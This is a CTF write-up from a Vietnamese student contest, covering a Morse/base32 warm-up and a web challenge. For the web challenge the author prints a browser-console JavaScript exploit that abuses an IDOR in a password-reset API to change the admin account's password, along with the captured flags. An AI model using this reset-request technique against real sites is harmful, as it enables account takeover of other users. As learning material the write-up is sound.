---
# System prepended metadata

title: Cybersecurity Student Contest Vietnam 2025 — Writeup CTF

---

> On 18/10/2025, I was involved in the Cybersecurity Student Contest Vietnam 2025 — a prestigious competition. The contest was quite challenging for me, but I managed to solve two problems easily.

# 1.README(S)?
Because this was a warm-up question, I didn’t have much time to solve it. The problem is:
![image](https://hackmd.io/_uploads/rkijy_LCge.png)
It introduced some information about CNSV2025, which was not relevant. Then I clicked on the hint and saw Morse code:
`.. -. .--- ..- --. ...- .-. ... --. .- --.. -.. -.- -.... ..--- -.. -. ..... ..--- .-- ....- ..... -.. ..-. --- .--- ..- .-- ....- --.. ..--- -.. .--. ..-. .-. --. -.- ....- - -.. --- .--- ..- .-- ..--- --.. .--- -. -.- -. ..- --. -.-. ....- - .--- -. --.. - ...- . --.. .-.. - --- -... -..- .-- ....- ....- ...-- .--- -- .--- ..- .-- -.-- ..--- .-.. ..- .--. . .-- ...- --. --.. .-.. -.. --- ...- --.. --. ... ...-- - .... .--- ..... ..--- -..- . .-. - ...- --- .-. ..--- -..- . --.. .-.. .....`
I decoded morse and base32 to obtain a flag :+1: `CSCV2025{CounteringCybercrime-SharingResponsibility-SecuringOurFuture}`
# 2.Web — Leak Force
Initially, I encountered a website with a login background.
While exploring the page source, I found something more interesting: a clue in the app.js file.
![image](https://hackmd.io/_uploads/Hy6BxuURxe.png)
From this, I realized that the issue was an IDOR (Insecure Direct Object Reference) vulnerability.
I seen code
![image](https://hackmd.io/_uploads/BJjLl_U0ll.png)
The vulnerability lies in the server’s trust. The server blindly trusted the data sent by the client, specifically the id field.
`body: JSON.stringify({ id: myId, newPassword })`
This line of code means: “Send a password reset request, and tell the server to change the password for the user whose id is myId.

I can easily modify this request (using the F12 Console) to rest password account admin. I paste the code here

```
(async function() {
    var targetId = 1; // Thử ID của admin (hoặc user khác)
    var newPassword = '123'; // Mật khẩu mới bạn muốn đặt

    const resp = await fetch('/api/reset-password', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ id: targetId, newPassword: newPassword })
    });
    
    const result = await resp.json();
    
    if (resp.ok) {
        console.log('THÀNH CÔNG! Đã đổi mật khẩu của user ID:', targetId, result);
        alert('THÀNH CÔNG! Thử đăng nhập bằng tài khoản admin và mật khẩu ' + newPassword);
    } else {
        console.error('THẤT BẠI:', result);
    }
})();
```
![image](https://hackmd.io/_uploads/By_YgO80xe.png)
Continue,i can easy login and obtain flag :

`CSCV2025{7h3_Uni73d_N47i0ns_C0nv3n7i0n_4g4ins7_Cyb3rcrim3}`
> Through this very competitive contest, I realized more weaknesses in myself .The truth is, I couldn’t solve any forensic problems — even though I had considered that one of my strengths .I joined the contest mainly for fun and to gain experience .See you in the contest next year, and I hope I can achieve a higher rank next time.
